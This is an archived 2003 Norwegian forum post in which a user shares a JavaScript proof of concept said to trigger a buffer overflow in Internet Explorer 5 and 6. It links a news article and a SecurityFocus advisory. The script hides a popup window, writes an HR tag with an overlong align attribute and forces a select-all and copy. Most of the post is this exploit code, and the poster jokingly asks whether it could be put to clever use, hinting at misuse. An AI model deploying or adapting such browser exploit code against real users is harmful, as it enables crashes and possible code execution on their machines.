PDA

View Full Version : Java-script Bufferoverflow i IE


s1rR34L
30. juni 2003, 08:39
Fant en artikkel på Digi.no om ett Java-script som skaper bufferoverflow i Internet Explorer 5 og 6 (etter alt å dømme).
Kanskje det kan brukes til noe lurt mon tro ?... :D

<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
&lt;/script&gt;


http://www.digi.no/php/art.php?id=90418

http://www.securityfocus.com/archive/1/326593/2003-06-23/2003-06-29/1